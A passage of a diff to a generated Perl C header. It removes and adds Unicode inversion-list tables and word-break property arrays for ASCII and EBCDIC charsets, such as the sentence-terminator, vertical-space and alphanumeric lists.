WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Hebrew_Letter, + WB_Extend, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_MidNum, + WB_Other, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ExtendNumLet, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNum, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Format, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Regional_Indicator, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Modifier, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base_GAZ, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Format, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other }; -# endif /* EBCDIC 037 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -static const UV PL_SORA_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA -}; +#if defined(PERL_IN_REGCOMP_C) -static const UV PL_SOYO_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ +static const UV UpperLatin1_invlist[] = { /* for EBCDIC 1047 */ + 55, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3 + 0x4, + 0x5, + 0x6, + 0x7, + 0x8, + 0xB, + 0x14, + 0x15, + 0x17, + 0x18, + 0x1A, + 0x1C, + 0x20, + 0x26, + 0x28, + 0x2D, + 0x30, + 0x32, + 0x33, + 0x37, + 0x38, + 0x3C, + 0x3E, + 0x3F, + 0x41, + 0x4B, + 0x51, + 0x5A, + 0x62, + 0x6B, + 0x70, + 0x79, + 0x80, + 0x81, + 0x8A, + 0x91, + 0x9A, + 0xA1, + 0xAA, + 0xAD, + 0xAE, + 0xBD, + 0xBE, + 0xC0, + 0xCA, + 0xD0, + 0xDA, + 0xE0, + 0xE1, + 0xE2, + 0xEA, + 0xF0, + 0xFA, + 0x100 }; -static const UV PL_SPECIALS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFFF0, - 0x10000 -}; +#endif /* defined(PERL_IN_REGCOMP_C) */ -# if 'A' == 65 /* ASCII/Latin1 */ +#if defined(PERL_IN_PERL_C) -static const UV PL_STERM_invlist[] = { /* for ASCII/Latin1 */ - 137, /* Number of elements */ +static const UV VertSpace_invlist[] = { /* for EBCDIC 1047 */ + 9, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x21, - 0x22, - 0x2E, - 0x2F, - 0x3F, - 0x40, - 0x589, - 0x58A, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x703, - 0x7F9, - 0x7FA, - 0x964, - 0x966, - 0x104A, - 0x104C, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x166E, - 0x166F, - 0x1735, - 0x1737, - 0x1803, - 0x1804, - 0x1809, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1C3B, - 0x1C3D, - 0x1C7E, - 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, - 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x3002, - 0x3003, - 0xA4FF, - 0xA500, - 0xA60E, - 0xA610, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA92F, - 0xA930, - 0xA9C8, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE52, - 0xFE53, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF0E, - 0xFF0F, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0x10A56, - 0x10A58, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, - 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144D, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11C41, - 0x11C43, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B39, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA88, - 0x1DA89 + 0xB, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x2028, + 0x202A }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_STERM_invlist[] = { /* for EBCDIC 1047 */ - 137, /* Number of elements */ +static const UV XPerlSpace_invlist[] = { /* for EBCDIC 1047 */ + 23, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x4B, - 0x4C, - 0x5A, - 0x5B, - 0x6F, - 0x70, - 0x589, - 0x58A, - 0x61F, - 0x620, - 0x6D4, - 0x6D5, - 0x700, - 0x703, - 0x7F9, - 0x7FA, - 0x964, - 0x966, - 0x104A, - 0x104C, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x166E, - 0x166F, - 0x1735, - 0x1737, - 0x1803, - 0x1804, - 0x1809, - 0x180A, - 0x1944, - 0x1946, - 0x1AA8, - 0x1AAC, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1C3B, - 0x1C3D, - 0x1C7E, - 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, - 0x2E2F, - 0x2E3C, - 0x2E3D, - 0x3002, - 0x3003, - 0xA4FF, - 0xA500, - 0xA60E, - 0xA610, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA876, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA92F, - 0xA930, - 0xA9C8, - 0xA9CA, - 0xAA5D, - 0xAA60, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFE52, - 0xFE53, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF0E, - 0xFF0F, - 0xFF1F, - 0xFF20, - 0xFF61, - 0xFF62, - 0x10A56, - 0x10A58, - 0x11047, - 0x11049, - 0x110BE, - 0x110C2, - 0x11141, - 0x11144, - 0x111C5, - 0x111C7, - 0x111CD, - 0x111CE, - 0x111DE, - 0x111E0, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x112A9, - 0x112AA, - 0x1144B, - 0x1144D, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x11641, - 0x11643, - 0x1173C, - 0x1173F, - 0x11A42, - 0x11A44, - 0x11A9B, - 0x11A9D, - 0x11C41, - 0x11C43, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B39, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA88, - 0x1DA89 + 0x5, + 0x6, + 0xB, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, + 0x42, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_STERM_invlist[] = { /* for EBCDIC 037 */ - 137, /* Number of elements */ +static const UV XPosixAlnum_invlist[] = { /* for EBCDIC 1047 */ + 1381, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x4B, - 0x4C, + 0x42, + 0x4A, + 0x51, 0x5A, - 0x5B, - 0x6F, + 0x62, + 0x6A, 0x70, - 0x589, - 0x58A, - 0x61F, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, + 0xA1, + 0xA2, + 0xAA, + 0xAC, + 0xAD, + 0xAE, + 0xAF, + 0xBA, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xFA, + 0xFB, + 0xFF, + 0x100, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x345, + 0x346, + 0x370, + 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, + 0x5B0, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x610, + 0x61B, 0x620, + 0x658, + 0x659, + 0x66A, + 0x66E, 0x6D4, 0x6D5, + 0x6DD, + 0x6E1, + 0x6E9, + 0x6ED, + 0x6FD, + 0x6FF, 0x700, - 0x703, - 0x7F9, + 0x710, + 0x740, + 0x74D, + 0x7B2, + 0x7C0, + 0x7EB, + 0x7F4, + 0x7F6, 0x7FA, + 0x7FB, + 0x800, + 0x818, + 0x81A, + 0x82D, + 0x840, + 0x859, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E0, + 0x8E3, + 0x8EA, + 0x8F0, + 0x93C, + 0x93D, + 0x94D, + 0x94E, + 0x951, + 0x955, 0x964, 0x966, + 0x970, + 0x971, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BD, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CD, + 0x9CE, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4D, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABD, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACD, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3D, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4D, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB70, + 0xB71, + 0xB72, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCD, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4D, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC80, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBD, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCD, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4D, + 0xD4E, + 0xD4F, + 0xD54, + 0xD58, + 0xD5F, + 0xD64, + 0xD66, + 0xD70, + 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE3B, + 0xE40, + 0xE47, + 0xE4D, + 0xE4E, + 0xE50, + 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xECD, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, + 0xF20, + 0xF2A, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF82, + 0xF88, + 0xF98, + 0xF99, + 0xFBD, + 0x1000, + 0x1037, + 0x1038, + 0x1039, + 0x103B, 0x104A, - 0x104C, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x166E, + 0x1050, + 0x1063, + 0x1065, + 0x1069, + 0x106E, + 0x1087, + 0x108E, + 0x108F, + 0x1090, + 0x109A, + 0x109C, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135F, + 0x1360, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, 0x166F, - 0x1735, - 0x1737, - 0x1803, - 0x1804, - 0x1809, - 0x180A, - 0x1944, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1714, + 0x1720, + 0x1734, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17B4, + 0x17B6, + 0x17C9, + 0x17D7, + 0x17D8, + 0x17DC, + 0x17DD, + 0x17E0, + 0x17EA, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x1939, 0x1946, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, + 0x1A00, + 0x1A1C, + 0x1A20, + 0x1A5F, + 0x1A61, + 0x1A75, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA7, 0x1AA8, - 0x1AAC, + 0x1B00, + 0x1B34, + 0x1B35, + 0x1B44, + 0x1B45, + 0x1B4C, + 0x1B50, 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1C3B, - 0x1C3D, + 0x1B80, + 0x1BAA, + 0x1BAC, + 0x1BE6, + 0x1BE7, + 0x1BF2, + 0x1C00, + 0x1C36, + 0x1C40, + 0x1C4A, + 0x1C4D, 0x1C7E, 0x1C80, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x2E2E, + 0x1C89, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF4, + 0x1CF5, + 0x1CF7, + 0x1D00, + 0x1DC0, + 0x1DE7, + 0x1DF5, + 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x24B6, + 0x24EA, + 